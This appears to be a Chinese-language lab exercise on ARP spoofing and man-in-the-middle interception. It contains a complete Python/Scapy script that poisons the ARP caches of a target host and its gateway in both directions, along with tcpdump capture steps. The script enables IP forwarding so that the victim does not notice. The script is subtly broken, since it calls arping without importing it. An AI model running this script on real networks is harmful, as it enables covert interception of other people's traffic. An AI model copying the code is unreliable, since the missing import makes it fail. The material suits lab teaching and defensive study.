3. ARP欺骗与中间人攻击
任务目标
在本地实验局域网中,通过构造并发送伪造的ARP应答报文,使目标主机将网关MAC地址错误解析为攻击机MAC地址,从而将目标发往网关的流量牵引至攻击机,验证中间人攻击的可行性。本案例聚焦于ARP欺骗核心机制与流量截获验证,不涉及流量内容还原或后续渗透利用。
环境与依赖
- 攻击机:Kali Linux(或任意Linux发行版),需具备root权限,安装
python3与scapy库(pip3 install scapy)。 - 目标主机:与攻击机处于同一局域网内的任意设备(如Windows/Linux主机或手机)。
- 网关:局域网默认网关(路由器),需已知其IP地址。
- 实验前确认攻击机网卡支持并已开启混杂模式(通常root下使用Scapy发送报文时自动处理)。
核心实现
以下Python脚本使用Scapy构造并持续发送伪造ARP应答,将目标主机的网关MAC映射篡改为攻击机MAC。脚本同时开启IP转发,确保截获的流量能正常转发至真实网关,避免目标断网引起警觉。
#!/usr/bin/env python3
from scapy.all import Ether, ARP, sendp, get_if_hwaddr, conf
import time
import sys
# ========== 配置参数 ==========
TARGET_IP = "192.168.1.100" # 目标主机IP
GATEWAY_IP = "192.168.1.1" # 网关IP
IFACE = "eth0" # 攻击机网卡接口
# ==============================
def enable_ip_forward():
"""开启Linux内核IPv4转发,使截获流量可转发至真实网关"""
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
f.write("1")
print("[*] IP转发已开启")
def get_mac(ip):
"""通过ARP请求获取指定IP的MAC地址"""
ans, _ = arping(ip, iface=IFACE, timeout=2, verbose=False)
if ans:
return ans[0][1].hwsrc
return None
def spoof(target_ip, target_mac, spoofed_ip):
"""构造并发送ARP应答:告知target_ip,spoofed_ip的MAC是攻击机MAC"""
pkt = Ether(dst=target_mac) / ARP(
op=2, # ARP应答
pdst=target_ip, # 目标IP
hwdst=target_mac, # 目标MAC
psrc=spoofed_ip, # 被欺骗的IP(网关或目标)
hwsrc=get_if_hwaddr(IFACE) # 攻击机MAC
)
sendp(pkt, iface=IFACE, verbose=False)
def restore(target_ip, target_mac, gateway_ip, gateway_mac):
"""恢复网络:向目标发送正确的ARP应答,修复ARP缓存"""
pkt = Ether(dst=target_mac) / ARP(
op=2,
pdst=target_ip,
hwdst=target_mac,
psrc=gateway_ip,
hwsrc=gateway_mac
)
sendp(pkt, iface=IFACE, verbose=False)
print(f"[*] 已恢复 {target_ip} 的ARP缓存")
if __name__ == "__main__":
if len(sys.argv) != 2 or sys.argv[1] not in ("start", "stop"):
print("用法: sudo python3 arp_spoof.py [start|stop]")
sys.exit(1)
# 获取真实MAC地址
target_mac = get_mac(TARGET_IP)
gateway_mac = get_mac(GATEWAY_IP)
if not target_mac or not gateway_mac:
print("[!] 无法获取目标或网关MAC,请检查IP与网络连通性")
sys.exit(1)
print(f"[*] 目标MAC: {target_mac}")
print(f"[*] 网关MAC: {gateway_mac}")
if sys.argv[1] == "start":
enable_ip_forward()
print("[*] 开始ARP欺骗(Ctrl+C停止)...")
try:
while True:
# 欺骗目标:网关的IP对应攻击机MAC
spoof(TARGET_IP, target_mac, GATEWAY_IP)
# 欺骗网关:目标的IP对应攻击机MAC(双向欺骗,用于截获回包)
spoof(GATEWAY_IP, gateway_mac, TARGET_IP)
time.sleep(2) # 每2秒重发,防止ARP缓存刷新
except KeyboardInterrupt:
print("\n[*] 停止欺骗,恢复网络...")
restore(TARGET_IP, target_mac, GATEWAY_IP, gateway_mac)
restore(GATEWAY_IP, gateway_mac, TARGET_IP, target_mac)
elif sys.argv[1] == "stop":
# 手动恢复模式
restore(TARGET_IP, target_mac, GATEWAY_IP, gateway_mac)
restore(GATEWAY_IP, gateway_mac, TARGET_IP, target_mac)
运行与验证
- 启动欺骗:在攻击机终端执行
sudo python3 arp_spoof.py start,脚本将持续发送伪造ARP报文。 - 验证ARP缓存篡改:在目标主机上执行
arp -a(Windows)或ip neigh(Linux),观察网关IP对应的MAC地址是否已变为攻击机MAC。若一致,说明欺骗生效。 - 验证流量截获:在攻击机另一终端启动抓包:
sudo tcpdump -i eth0 host 192.168.1.100 -w capture.pcap。随后让目标主机访问任意公网HTTP网站(如http://example.com)。停止抓包后,用Wireshark打开capture.pcap,应能看到目标主机与网关之间的HTTP请求与响应数据包,证明流量已流经攻击机。 - 停止与恢复:在攻击机按
Ctrl+C,脚本自动发送正确ARP应答恢复目标与网关的ARP缓存。在目标主机再次执行arp -a,确认网关MAC已恢复为真实网关MAC。
通过条件:目标主机ARP缓存中网关MAC被篡改为攻击机MAC;抓包文件中出现目标主机访问公网产生的HTTP流量;停止脚本后目标主机网络恢复正常,ARP缓存还原。
常见问题
- 目标断网:确认攻击机已开启IP转发(脚本已自动执行),否则需手动执行
echo 1 > /proc/sys/net/ipv4/ip_forward。 - 欺骗不生效:检查目标与攻击机是否在同一VLAN/网段;部分交换机启用端口安全或动态ARP检测(DAI)会阻止欺骗,需在普通家用交换机或虚拟化实验环境中测试。
- HTTPS流量无法查看明文:本案例仅验证流量截获可行性,抓包中HTTPS流量为密文属正常现象,不影响中间人攻击可行性判定。